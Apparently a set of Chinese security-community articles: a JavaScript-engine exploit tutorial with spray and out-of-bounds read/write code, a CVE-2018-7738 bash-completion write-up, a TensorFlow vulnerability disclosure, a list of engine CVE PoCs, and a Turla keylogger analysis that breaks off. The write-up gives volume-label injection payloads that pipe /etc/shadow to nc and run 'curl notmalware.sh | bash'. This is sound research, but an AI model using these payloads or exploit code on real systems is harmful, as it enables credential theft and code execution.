var arr = new Uint32Array(0x40000/4);
var spray_arr = new Array(0x40000/4);
for(var i=0; i<0x10000; i++){
jitBlock(arr, 0, 0x41414141); // force jit
}
jitBlock(spray_arr, 0, 0x42424242);
var spray_arr_len_index = (0x100000000 )/4 +9;
var spray_arr_size_index = (0x100000000 )/4+ 10;
jitBlock(arr, spray_arr_len_index, 0x7fffffff);
jitBlock(arr, spray_arr_size_index, 0x7fffffff);
length 和 size 顺利被修改。至此， 越界写已经顺利转化为越界读写。
#### 2 – 越界读写 to 任意地址读写
任意地址读写需要 fake 一个 DataView ,
首先需要一个泄漏任意地址的原语。还记得我们当初的目标吗？“零基础在浏览器中稳定的弹出第一个计算器”，对吧？我们这里重构一下代码，以便稳扎稳打的进行后面的环节。
function log(str){
print(str);
}
function jitBlock(type_arr, index, value)
{
type_arr[index] = value;
}
function force_jit(){
var arr = new Uint32Array(0x40000/4);
for(var i=0; i < 0x10000; i++){
jitBlock(arr, 0, 0x41414141);
}
}
force_jit();
function oob_write(arr, index, value){
jitBlock(arr, index, value);
}
//arr : @typearray
//index: @int [0 - 0xffffffff]
//value: @int [0 - 0x7fffffff]
//export API : oob_write
// let us spray it
let fill_vec = new Array();
var fill_len = 0x1000;
var vul_arr;
var int_arr;
var obj_arr;
for (var i=0; i< fill_len; i++){
vul_arr = new Uint32Array(0x40000/4);
vul_arr[0] = 0;
int_arr = new Array(0x40000/4);
// int_arr[0] is a hole for OOB write
// int_arr[1] is a flag "OWN" 0x4e574f, to construct "PWN2OWN"
int_arr[1] = 0x4e574f;
oob_write(vul_arr, 0x100000000/4 + 14, 0x324e5750); // OOB write "PWN2" 0x324e5750
if( 0x324e5750 == int_arr[0]){
log("found it:"+ i);
// new obj arr to leak addresss
obj_arr = new Array(0x40000/4);
obj_arr[0] = obj_arr;
break;
}
}
function modify_oob_arr_attri(new_capacity){
var arr_len_index = 0x100000000/4 + 9;
var arr_size_index = 0x100000000/4 + 10;
oob_write(vul_arr ,arr_len_index, new_capacity);
oob_write(vul_arr ,arr_size_index, new_capacity);
int_arr.length = 0xffff0000;
}
modify_oob_arr_attri(0x7fffffff);
这里借助 vul_arr 的越界写，修改后面的 int_arr 的内存，如果 int_arr
读出该越界写的数据，则判断数据喷射成功，否则进行下一次尝试。obj_arr 用作存储任意 obj 的地址， int_arr
越界读取obj的地址。以下操作即可泄漏出任意 obj 的地址。
function leak_obj_addr(obj){
obj_arr[0] = obj;
var addr_high_index = 0x50000/4 + 1;
var addr_low_index = 0x50000/4;
var tmp = new Uint32Array(2);
tmp[0] = int_arr[addr_high_index];
tmp[1] = int_arr[addr_low_index];
var addr = tmp[0]*0x100000000 + tmp[1];
return addr;
}
接下来需要 fake 一个 DataView 来完成任意地址读写，怎么样才能稳定的 fake 一个DataView呢？需要再次数据喷射吗，
还是有其他技巧？详细篇幅有点长，我们把内容放在第二篇文章，敬请期待。 | 社区文章 |
# CVE-2018-7738：利用bash-completion实现恶意代码执行
##### 译文声明
本文是翻译文章，文章原作者 Grimm，文章来源：blog.grimm-co.com
原文地址：<https://blog.grimm-co.com/post/malicious-command-execution-via-bash-completion-cve-2018-7738/>
译文仅供参考，具体内容表达以及含义原文为准。
本文介绍了作者发现bash-completion中存在漏洞的过程及漏洞的简要分析。
备注：我在发现此漏洞后在Tenable上看到它已经有了CVE编号，详情写在了文末的时间线中。
这个漏洞的发现过程其实充满了机缘巧合：我当时正在给我的U盘命名，但是当我偶然给它命名为’ID’后并想卸载它时，发生了奇怪的事情：
$ umount /dev/s<tab>ID: command not found
WTF？这肯定有问题，当我又试了一次之后，我发现这里面有点东西：当我尝试进行补全，获取可用设备（比如/dev/sdb1什么的）列表时命令被执行了！
$ sed -n 44,45p /usr/share/bash-completion/completions/umount
DEVS_MPOINTS="$(mount | awk '{print $1, $3}')"
COMPREPLY=( $(compgen -W "$DEVS_MPOINTS" -- $cur) )
在深挖一番之后我发现卸载的bash-completion脚本44行的位置可使得带有“或$()的驱动器名被当作命令执行。
虽然这种操作很骚，但是并非没有出现过。在今年上半年就有过一个KDE的bug与这种情况类似，可实现当USB驱动器插入时直接执行命令，这可比现在这个问题严重多了。
漏洞影响版本：Ubuntu 18.04
完整的分析还没出来，不过用util-linux 2.31 bash-completion挂载卸载脚本的系统都会有这个漏洞。
漏洞发现环境：Ubuntu 18.04系统上对USB卷名和类型搞事情时候发现的。
## 实际测试
我在发现这个漏洞的时候使用的是创建FAT32分区的工具，它默认只支持大写的DOS标准，所以当时用的是无效命令，不过用mkfs.fat的话就不需要考虑这个问题。
$ sudo mkfs.fat -I -n '`id`' /dev/sdb1
但是这样子是看不到任何结果的，我一开始懵逼了一下，后来明白过来命令其实已经执行了，但它执行成功后的输出被丢弃了。
FAT32的卷名最大长度不能超过11个字符，因此想搞大新闻是不能用它的，所以我们需要和NTFS说说心里话～同时，挂载卸载分区时用户大概率可以拿到sudo凭证缓存，所以配合着就可以玩得更大了。
$ sudo mkfs.ntfs -f -L '`IFS=,;a=sudo,reboot;\$a`' /dev/sdb1
接下来就可以用同事的电脑测试一下了，嘿嘿嘿，不出意外它造成的后果能让你笑一下午（如果你没被同事打死的话）。但是这有点太low了，我们应该玩点高端的。所以我又做了下面的测试：（[1337与31337与黑客间不可说的秘密](https://en.wikipedia.org/wiki/Leet)）
$ sudo mkfs.ntfs -f -L '`IFS=,;sudo,cat,/etc/shadow,|,nc,127.0.0.1,31337;\$a`' /dev/sdb1
在目标机器上执行下面这段代码：
$ nc -l 127.0.0.1 31337
然后插入U盘，准备执行卸载（unmount）命令并进行补全，如果有sudo的凭证缓存的话，就可以悄咪咪地接收到/etc/passwd文件内容了。
来，继续嗨：
$ sudo mkfs.ntfs -f -L
'`IFS=,;a=curl,-Ls,notmalware.sh;\$a|bash`' /dev/sdb1
## 漏洞浅探
Ubuntu Bionic git repo上的umount bash-completion脚本版本和upstream github
repo上是一样的，但是我系统上的脚本版本号却不是这个。找了半天才在Ubuntu 18.04 bash-completion包的日志文件中发现，他们已经不用原先的bash-completion里的脚本而改用util-linux包中的脚本了。
瞟一眼Ubuntu 18.04里的util-linux包列表，可以发现漏洞产生于util-linux
2.31。具体的commit是在13年提交的，并且在18年3月的2.32版本中被修复了。
并且有意思的是在bug报告中也并未将这个漏洞视为安全问题，而是标注为当卷名含空格时会崩溃。这意味着发现这个漏洞时只是因为这个漏洞导致的其他小问题，而核心原因并未被发现。这也解释了为啥修复这个整整花了四个多月，如果被当作安全问题处理的话流程会快得多。
虽然上面说了那么多实例和危害，但这个漏洞实际上对Ubuntu影响不大，虽然它在5年前就已经在util-linux
2.24-rc1中出现，但因为Ubuntu之前用的不是这个脚本，所以一点影响都没，直到Ubuntu改用这个版本的脚本（Ubuntu
18.04）才会存在这个漏洞。并且即将发布的Ubuntu 18.10会使用新版本的util-linux包（2.32），也不会受到这个漏洞的影响。我在Ubuntu 16.04上试了试，确实不会有任何问题。
最后，总结一下，这个漏洞存在于使用util-linux 2.24-2.31版本的挂载卸载bash-completion脚本的系统中。并且目前确定影响Ubuntu 18.04。并且，如果Ubuntu 18.04未来不应用util-linux
2.32的话，恐怕这个LTS版本将会长期受到这个漏洞影响。
## 其他B漏u洞g
我这次发现的漏洞存在于挂载卸载bash-completion中，但是我感觉其他脚本中也会存在这个问题。因此我便对俩比较重要的工具进行了测试。
### hcitool：
进行了简单的测试后，发现hcitool以及其他hci*系工具不存在此类漏洞。
$ head -n9 /usr/share/bash-completion/completions/hcitool
# bash completion for bluez utils -*- shell-script -*-
_bluetooth_addresses()
{
if [[ -n ${COMP_BLUETOOTH_SCAN:-} ]]; then
COMPREPLY+=( $( compgen -W "$( hcitool scan | \
awk '/^\t/{print $1}' )" -- "$cur" ) )
fi
}
### iwconfig：
测试后发现它也不存在此类漏洞，烦人。
$ sed -n 14,22p /usr/share/bash-completion/completions/iwconfig
essid)
COMPREPLY=( $( compgen -W 'on off any' -- "$cur" ) )
if [[ -n ${COMP_IWLIST_SCAN:-} ]]; then
COMPREPLY+=( $( compgen -W \
"$( iwlist ${words[1]} scan | \
awk -F'\"' '/ESSID/ {print $2}' )" -- "$cur" ) )
fi
return
;;
## 启示
现代操作系统的每个零件时时刻刻都在更新，脚本源的更新也会造成许许多多的安全隐患。这些漏洞可能会潜藏好多年，即便修复后，依赖它的项目也需要几个月的时间去应用补丁，因此一定要时刻提醒自己注意系统的更新与安全。
最后，保持好奇心，专注搞事情。
## 时间线
2013.4.13 漏洞引入util-linux
2016.3.31 漏洞引入Ubuntu
2017.11.16 漏洞获得CVE编号CVE-2018-7738
2018.3.21 util-linux 2.32发布，修复漏洞
2018.8.22 我发现了漏洞
2018.9.11 我完成了漏洞分析
2018.9.14 我写了这篇博客 – w – | 社区文章 |
# AI框架安全依旧堪忧：360 AI安全研究院披露Tensorflow 24个漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，360 AI安全研究院（AIVUL团队）对Google
Tensorflow进行了安全测试，在不到一个月的时间内发现多个安全问题，最终获得谷歌分配的24个CVE编号，其中危险等级严重的漏洞（critical
severity）2个，高危（high severity）8个，中危（moderate severity）12个，低危（low
severity）2个，影响上千万开发者及用户。
## 0x01 机器学习框架安全问题
近年来，谷歌（Google）、脸书（Facebook）、微软（Microsoft）等公司发布了一系列开源的人工智能框架，如Tensorflow、PyTorch、MXNet、CNTK、Caffe等，并已经被工业界和学术界广泛采用。这些框架可以帮助开发者高效、快速的构建网络模型进行训练和推理，而无需关心底层实现的细节。由于机器学习框架高效、便捷的特性，越来越多的开发者加入到AI应用研发的行列。如谷歌推出的Tensorflow是目前最流行的机器学习框架之一，深受广大开发者的喜爱，其下载量已达上千万级，特别是在2.0版本发布后，其在简单和易用性方面有了大幅度提升，极大地方便了开发者。
然而，在机器学习框架研发的时候，更多关注其功能、性能以及面向开发者的易用性，对框架软件本身实现层面的安全性缺乏充分考虑。一旦这些框架中存在安全问题，将会影响数以千万计的开发者以及用户。
早在2017年，360
AIVUL团队便对机器学习框架所依赖的第三方库进行了全面安全测试，最终发现了诸多安全问题。随着机器学习框架的不断完善、发展，三年后的今天，机器学习框架的安全性是否已经得到改善呢？
带着这个疑问，360
AIVUL团队再次对机器学习框架Tensorflow进行了安全测试，在不到一个月的时间内发现多个安全问题，最终获得谷歌分配的24个CVE编号，其中危险等级严重的漏洞（critical
severity）2个，高危（high severity）8个，中危（moderate severity）12个，低危（low
severity）2个，影响上千万开发者及用户。
360 AIVUL团队提交的Tensorflow漏洞列表
## 0x02 Tensorflow云端模块漏洞分析
TensorFlow云端模块主要运行在PC机或者服务器上，用于机器学习模型的训练以及推理。云端模块在训练模型时需要处理海量数据，在推理时主要完成模型优化、模型部署以及推断计算等工作，以上工作强依赖于密集型、并行化计算能力。
Tensorflow云端模块在2.4版本中修复了数十个由360
AIVUL团队提交的漏洞，漏洞类型包含：内存越界访问、内存越界写、堆崩溃、格式化字符串、空指针解引用等。这些漏洞可能导致任意代码执行、信息泄露以及拒绝服务等，进而影响机器学习应用的训练、推理结果。
以下我们介绍Tensorflow 2.3中存在的两个严重漏洞以及这些漏洞对用户的影响。
**案例一：CVE-2020-15205 StringNGrams信息泄露（危险等级:严重）**
漏洞POC如下，从代码中可以看到，其中只有一行简短的函数调用，正常使用了Tensorflow提供的函数StringNGrams来进行词组的组合。
然而程序运行结束后，在第六个结果中，“AIVul”之后包含了一串未知的16进制数据，经过分析发现，这些数据来自于内存空间，其中包含一些敏感信息，如返回地址等。
当受害者运行以上简单的函数后，便泄露了内存数据信息，方便攻击者进行下一步的攻击，比如通过泄露的信息构造攻击向量，绕过地址随机化，进而控制受害者的机器。
**案例二：CVE-2020-15202 random.gamma越界写（危险等级:严重）**
在这个案例中，当运行以下POC时，Tensorflow便会产生越界写的问题。
此时的崩溃栈如下，可以发现崩溃点在_pywrap_tensorflow_internal.so库的RandomGammaOp<float>::Compute函数中。
此时查看造成崩溃时的指令：
可以看到程序将xmm3中的数据保存在rdi+rax*4的地址空间中，通过查看寄存器rdi与rax数据：
并结合内存空间布局，最终可以发现，崩溃地址的指令向非法的内存写数据。
如果攻击者构造特殊的参数数值，控制写数据的地址，那么当受害者运行看似“人畜无害”的脚本或者函数后，将会影响模型的训练、推理结果，或者导致在受害者的机器中执行恶意指令，导致命令执行的后果。
## 0x03 Tensorflow终端模块漏洞分析
随着终端设备算力的增强，AI推理能力逐渐向端侧迁移，为了充分利用终端芯片，特别是AI芯片的计算能力，许多厂商都推出了可整合硬件（如CPU，GPU，DSP，NPU等）和软件算力的终端机器学习框架或模块，让搭载了AI芯片的终端设备具有更强的AI处理能力。
Tensorflow
Lite是Tensorflow中的终端模块，主要面向移动端设备与IoT设备等终端设备。由于终端设备功耗、芯片等诸多限制，开发者首先需要通过转换工具将云端模块训练好的模型转换为终端设备适用的模型格式，然后借助Tensorflow终端模块TFLite，在终端设备上进行模型的加载、推理。
360 AIVUL团队在TFLite中同样发现了多个高危漏洞，这里以CVE-2020-15214为例详细的介绍终端框架漏洞可能导致的安全问题。
**案例一：CVE-2020-15214 segment_sum函数越界写（危险等级:高危）**
在TFLite中，segment_sum算子的功能是将一个tensor进行切割，分成多个segments，并且将同一segment下的数据进行求和。当TFLite加载我们构造的恶意模型进行推理时，便会产生越界写的效果。
在TFLite的实现中，默认传入的segment_ids是递增排序的，并且使用segment_ids的最后一个元素来为output
tensor分配内存空间。
但是，如果segments_ids不满足递增排序，在向output tensor写入数据时，便会产生问题。
在TFLite中，使用BuildFromBuffer和Interpreter::Invoke函数来加载和推理TFLite模型，尽管TFLite提供了Verify
API来对模型文件的字段进行合法性检查，但是依旧可以通过精心构造恶意模型文件来绕过检查。所以当用户加载和推理精心构造的恶意模型文件时，就会触发漏洞，导致越界写数据的后果，进而可能在用户的终端设备中执行恶意代码。
## 0x04 总结
360
集团董事长兼CEO周鸿祎曾说过：“安全是基础，只有在安全的基础上，我们才有可能考虑舒适、便捷的人工智能式生活。”机器学习框架作为重要的人工智能基础设施，其安全性直接影响到广大AI应用开发者和用户。然而，目前开源机器学习框架往往缺乏严格的安全测试管理和认证，可能存在严重的安全风险，一旦被攻击者恶意利用，就会危及整个人工智能产品和应用的可用性和可靠性，甚至有可能导致重大的财产损失与恶劣的社会影响。
360
AIVUL团队建议，未来各厂商应加强在框架安全方面的重视和投入，特别是要对涉及框架外部环境交互的模块、软件供应链等环节进行重点安全性检测。另外，框架安全应协同硬件安全、算法安全、数据安全等软硬件各维度的安全防御技术，建立一体化安全防御体系。
**【AI安全研究院（AIVUL团队）】**
360
AI安全研究院隶属于360未来安全研究院，专注于人工智能与安全前沿技术研究，在全球范围内率先发现了众多的人工智能安全问题，并开展人工智能赋能安全的研究工作；具体研究领域涉及AI基础设施安全、AI算法与数据安全、新一代智能化漏洞挖掘、基于AI的未知威胁检测等。团队在相关研究领域有丰富的成果积累：
* 是全球首个从系统实现角度对AI关键基础设施进行攻击的团队；
* 研制完成多款先进的漏洞挖掘工具，累计发现主流机器学习框架及依赖组件漏洞100+个，影响范围包括Tensorflow、Caffe、PyTorch、OpenVINO等；
* 发现常用软件漏洞200+个，智能设备漏洞20+个；
* 联合清华大学、西安交大的研究人员提出一种新型的数据流降维攻击方法，其危害性影响国内外主流厂商的AI云服务；
* 发现多款人脸识别设备的安全风险，可实现任意物体通过验证；
* 研制AI算法与数据安全攻防对抗平台，发现新型的具备对物理世界造成威胁的对抗攻击、后门攻击方法，并提出对应的安全防御技术；
* 在USENIX Security、S&P等国际顶尖信息安全学术会议上发表论文，在HITB、ISC、CNCC、POC、Defcon China、Syscan360等国内外知名安全会议上发表大量议题。
欢迎更多对AI与安全研究感兴趣的同学加入我们！(Email: [email protected])
## Reference：
https://www.anquanke.com/post/id/86989
https://github.com/tensorflow/tensorflow/blob/master/RELEASE.md
https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/README.md
https://github.com/tensorflow/tensorflow/security/advisories
https://www.anquanke.com/post/id/209852 | 社区文章 |
原项目地址：[Case Study of JavaScript engine
vulnerabilities](https://github.com/tunz/js-vuln-db)
项目作者：tunz
该项目收集了 JavaScript 引擎的一些经典漏洞，每条记录包括：CVE，漏洞点，漏洞类型，成因，发现者。CVE ID 对应其 PoC 代码。
### V8
* [CVE-2013-6632](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2013-6632.js): TypedArray, Integer Overflow, OOB, _Pinkie Pie_
* Chrome < 31.0.1650.57 TypedArray 对象的整数溢出，导致越界访问，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=319117)
* [CVE-2014-1705](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2014-1705.js): TypedArray, Invalid Array Length, OOB, _geohot_
* Chrome < 33.0.1750.152(Linux&Mac)， < 33.0.1750.154(Windows)，可利用`__defineGetter__` 和 `bytesLength`越界读写，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=351787)
* [CVE-2014-3176](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2014-3176.js): Array.concat, Side Effect, OOB, _lokihardt_
* Chrome < 36.0.1985.143 释放后重用漏洞，利用 Array.concat() 执行任意代码，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=386988)。
* [CVE-2014-7927](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2014-7927.js): asm.js, Compiler, OOB, _Christian Holler_
* Chrome < 40.0.2214.91，SimplifiedLowering::DoLoadBuffer 函数处理数据类型错误可导致越界读写，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=444695)
* [CVE-2014-7928](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2014-7928.js): Array, Optimization, _Christian Holler_
* Google Chrome < 40.0.2214.91 未正确处理数组导致内存损坏，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=435073)
* [CVE-2015-1242](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2015-1242.js): Type Confusion, [email protected]_
* Google Chrome < 42.0.2311.90 利用类型混淆越界读写，[参考详情]()
* [CVE-2015-6764](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2015-6764.js): JSON, Side Effect, OOB, Pwn2Own, _Guang Gong_ , _Qihoo 360_
* Google Chrome < 47.0.2526.73 BasicJsonStringifier::SerializeJSArray 函数可越界读写， [参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=554946)
* [CVE-2015-6771](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2015-6771.js): TypedArray, OOB
* Google Chrome < 47.0.2526.73， 数组的 map 和 filter 错误处理可导致越界内存访问，[参考详情](https://chromium.googlesource.com/v8/v8/+/c227dd5734efa41e4973c834c910bb684a9e1998%5E%21/#F1)
* [CVE-2015-8584](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2015-8548.js): JSON, OOB
* Google Chrome < 47.0.2526.80，通过序列化 JSON 数组在内存中越界读写，[参考详情](https://chromium.googlesource.com/v8/v8/+/a10202d1aa3cbaa3b550401bebbe34119b2d20b2%5E%21/#F1)
* [CVE-2016-1646](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1646.js): Array.concat, Side Effect, OOB, _Wen Xu_ , _Tencent KeenLab_
* Google Chrome < 49.0.2623.108 IterateElements 函数存在越界内存读取漏洞，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=594574)
* [CVE-2016-1653](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1653.js): asm.js, TypedArray, Compiler, OOB, _Choongwoo Han_
* Google Chrome < 50.0.2661.75 （开启 WebAssembly）asm.js 错误处理数据类型，导致越界访问，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=589792)
* [CVE-2016-1665](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1665.js): asm.js, Compiler, _HyungSeok Han_
* Google Chrome < 50.0.2661.94 在 JSGenericLowering 类中错误处理运算符，可泄漏敏感信息，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=606181)
* [CVE-2016-1669](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1669.js): RegExp, Heap Overflow, Integer Overflow, _Choongwoo Han_
* Google Chrome < 50.0.2661.102 内存分配错误，造成溢出漏洞，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=606115)
* [CVE-2016-1677](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1677.js): Side Effect, Information Leak, _Guang Gong_ , _Qihoo 360_
* Google Chrome < 51.0.2704.63 函数 TwoByteSeqStringSetChar 参数类型混淆，可导致信息泄漏[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=602970)
* [CVE-2016-1688](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1688.js): RegExp, _Max Korenko_
* Google Chrome < 51.0.2704.63 正则表达式对字符串的长度处理不当，导致内存破坏，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=604897)
* [CVE-2016-5129](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-5129.js): Array, Side Effect, _Jeonghoon Shin_
* Google Chrome < 52.0.2743.82 shift 函数中处理不当，导致程序崩溃，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=620553)
* [CVE-2016-5172](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-5172.js): Scope, _Choongwoo Han_
* Google Chrome < 53.0.2785.113 覆写参数的作用范围，导致内存信息泄漏，[参考详情](https://bugs.chromium.org/p/chromium/issues/detail?id=616386)
##### 原项目作者尚未总结
* [CVE-2014-3188](https://bugs.chromium.org/p/chromium/issues/detail?id=416449)
* [CVE-2014-7931](https://bugs.chromium.org/p/chromium/issues/detail?id=442710)
* [CVE-2015-1290](https://bugs.chromium.org/p/chromium/issues/detail?id=505374)
* [CVE-2016-1678 (Christian Holler)](https://bugs.chromium.org/p/chromium/issues/detail?id=595259)
##### 未公开
* [CVE-2016-5177](https://googlechromereleases.blogspot.kr/2016/09/stable-channel-update-for-desktop_29.html)
* [CVE-2016-5198](https://crbug.com/659475)
* [CVE-2016-5200](https://crbug.com/658114)
* [CVE-2016-9651](https://crbug.com/664411)
* [CVE-2016-5213](https://crbug.com/652548)
* [CVE-2016-5219](https://crbug.com/657568)
## JavaScriptCore
* [CVE-2016-4622](https://github.com/tunz/js-vuln-db/blob/master/jsc/CVE-2016-4622.js): Array.slice, OOB, _Samuel Groß_
##### TODO
* [CVE-2014-1300](https://bugs.chromium.org/p/project-zero/issues/detail?id=77&can=1&q=webkit&redir=1)
* [??](http://googleprojectzero.blogspot.kr/2014/07/pwn4fun-spring-2014-safari-part-i_24.html)
## ChakraCore
* [CVE-2016-3386](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-3386.js): Spread Operator, Stack Overflow, _Richard Zhu_
* [CVE-2016-7189](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7189.js): Array.join, Information Leak, _Natalie Silvanovich_ , _Google Project Zero_
* [CVE-2016-7190](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7190.js): Array.map, Heap Overflow, _Natalie Silvanovich_ , _Google Project Zero_
* [CVE-2016-7194](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7194.js): Function.apply, Information Leak, _Natalie Silvanovich_ , _Google Project Zero_
* [CVE-2016-7200](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7200.js): Array.filter, Heap Corruption, _Natalie Silvanovich_ , _Google Project Zero_
* [CVE-2016-7202](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7202.js): Array.reverse, Overflow, _Natalie Silvanovich_ , _Google Project Zero_
* [CVE-2016-7203](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7203.js): Array.splice, Heap Overflow, _Natalie Silvanovich_ , _Google Project Zero_
* [CVE-2016-7240](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7240.js): eval, Proxy, Type Confusion, _Natalie Silvanovich_ , _Google Project Zero_
* [CVE-2016-7241](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7241.js): JSON.parse, Information Leak, _Natalie Silvanovich_ , _Google Project Zero_
* [CVE-2016-7286](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7286.js): SIMD.toLocaleString, Uninitialized Memory, _Natalie Silvanovich_ , _Google Project Zero_
* [CVE-2016-7287](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7287.js): Intl, Initialization, Type Confusion, _Natalie Silvanovich_ , _Google Project Zero_
* * * | 社区文章 |
# 深入分析KSL0T（Turla组织的Keylogger）
##### 译文声明
本文是翻译文章，文章原作者 0ffset，文章来源：0ffset.net
原文地址：<https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-1/>
译文仅供参考，具体内容表达以及含义原文为准。
过去一个月里，俄罗斯的APT集团——Turla，频频在新闻中出现。此前，该集团对欧洲政府外国办事处进行了攻击，创建了一个极其隐秘的后门，通过邮件结合恶意PDF文件窃取数据。最近，我注意到一个上传至VirusBay(<https://beta.virusbay.io/>)
的恶意软件样本，它带有Turla和Venomous
Bear(Turla的别名)的标签，于是决定对该样本进行分析。在经过思考后，我决定用静态分析的方法来处理这个样本。让我们开始分析这个样本吧!
样本的MD5值为59b57bdabee2ce1fb566de51dd92ec94
## 0x01 样本分析
常规操作，我首先通过一些命令查看这个二进制文件的信息，尝试找到一些突破口。它实际上是一个64位的DLL文件。我们可以看到一些错误提示和一些Windows
API调用（如IsDebuggerPresent、WriteFile）以及动态加载调用(GetModuleHandle、LoadLibrary、GetProcAddress)，但是它依然有大量的无用输出存在
在IDA中打开文件，我们可以看到EP为DLLMain函数。经过cmp操作后，程序跳转到0x1800019BD，这里有一个非常重要的函数被调用。乍一看该函数好像没什么特别，只是一个需要传递3个参数的函数。直到你意识到，它一直在重复调用这个相同的函数，并且其第二个参数似乎指向的是一些加密的文本，如图2所示
你可能已经猜到，这实际上是一个解密函数。因为当我们看到在0x180001750处调用的函数时，可以根据其传递的参数和xor edx,
eax操作来确定它是一个解密函数。还要注意for循环，它比较eax的值(存储在arg_10的值)和var_18的值。
根据下面这段代码，我们可以进一步推断var_18实际上是一个计数器:
mov eax, [var_18]
add eax, 1
mov [var_18], eax
当我们发现这个之后，可以将var
_18重命名为Counter。点击var_18并按下`n`，将出现一个提示，在此进行重命名，以便于后续直观分析。现在，我们需要找出与计数器的值进行比较的对象，这意味着我们需要分析`arg_10`。因为它是`arg_
_`而不是`var__`，所以我们必须查看传递给这个特定函数的参数的值。在本例中，该参数不是使用push传递的，而是使用mov指令。当r8d寄存器中的值被移动到arg_10中时，让我们返回到调用函数的地方，在执行解密函数之前查看一下r8d寄存器中的内容。
mov r8d, 25Eh
lea rdx, unk_18000F2F0
mov ecx, 47h
call sub_180001750
选择数字的同时按下字母’H’，我们可以将十六进制数转换为十进制数，得到十进制值606。对于这个特殊的调用，XOR运算会循环606次，因为要对每个字符执行XOR操作。现在我们已经确定了arg_10的值，继续对它进行一下重命名。接下来，我们尝试找出执行XOR运算之后的值，看看能否找到使用的密钥和解密的数据。xor对edx和eax执行XOR操作，操作的结果总会存储在运算的第一个参数中，也就是这个运算的结果存储在edx中。我们可以假设edx包含要解密的数据，eax包含密钥。为了找出这些值，我们必须查看mov或lea到edx和eax寄存器中的值。
如图4所示，在XOR操作执行之前，r8d的值被mov到edx中，因此我们查看此段的第三条指令，也就是预先移动到r8d中的内容：`movsx r8d,
byte
ptr[rax+rcx]`。这几条指令之前，[rsp+18h+counter]mov到rcx中，而且不管arg_8中的值是多少都会被移到rax中。我们知道计数器每次循环会加1，因此我们可以确定字节ptr[rax+rcx]迭代超过606次，其中一些是加密字符。我们可以通过找出arg_8的值来进行再次确定，就像我们发现arg_10的值是unk_18000F2F0一样，它包含许多加密数据(具体来说，是606字节的加密数据)。
接下来，让我们看看eax中存储了什么。在本例中，[rax+rdx]处的一个字节的数据被移动到eax中。因此，我们需要定位存储在rax和rdx中的数据。rax中的数据很容易找到，因为在movsx之前有一条指令：`mov
rax,
unk_18000F010`。查看0x18000F010处的数据，我们可以看到似乎更机密的文本:用于解密18000F2F0处数据的密钥。然而，事情并没有那么简单，由于之前使用过的rdx的值在每次迭代中都会改变。因此为了计算这个值，我们需要查看div指令。
0x18000F010如图:
mov rax, arg_0
xor edx, edx
mov ecx, 100
div ecx
div指令接受一个操作数——这个操作数包含要除以rax的值。x64汇编程序中0x8003除以0x100的除法应该是这样的:
xor rdx, rdx ; clear dividend
mov rax, 0x8003 ; dividend
mov rcx, 0x100 ; divisor
div rcx ; rcx = 0x80, rdx = 0x3
此段代码基本上是一个除法运算，但是余数存储在rdx中，这意味着rdx等于0x3。对于keylogger,
XOR运算的值是根据rdx的值来决定的，因此我们需要算出rax的值，然后将它除以0x64来得到rdx的第一个值。我们知道arg_0包含函数执行前的ecx值，即0x47。转换为小数格式，即71/100=0.71。rdx中存储的值是71，只需对这两个值进行模运算(%)，就会得到71。这意味着密钥数组中的第71个字节是XOR运算中使用的第一个字节。对于每个循环，arg_0中的值都增加1，这意味着密钥字节总是在变化，因此，虽然我们知道了算法的工作原理，但是我们仍然只可以静态地自动解密，而不是依赖于调试器。
mov eax, [rsp+18h+arg_0]
add eax, 1
mov [rsp+18h+arg_0], eax
## 0x02 如何静态解密
方法一是使用IDC，它是一种包含在IDA中的脚本语言。
方法二是IDAPython，但是IDA 7
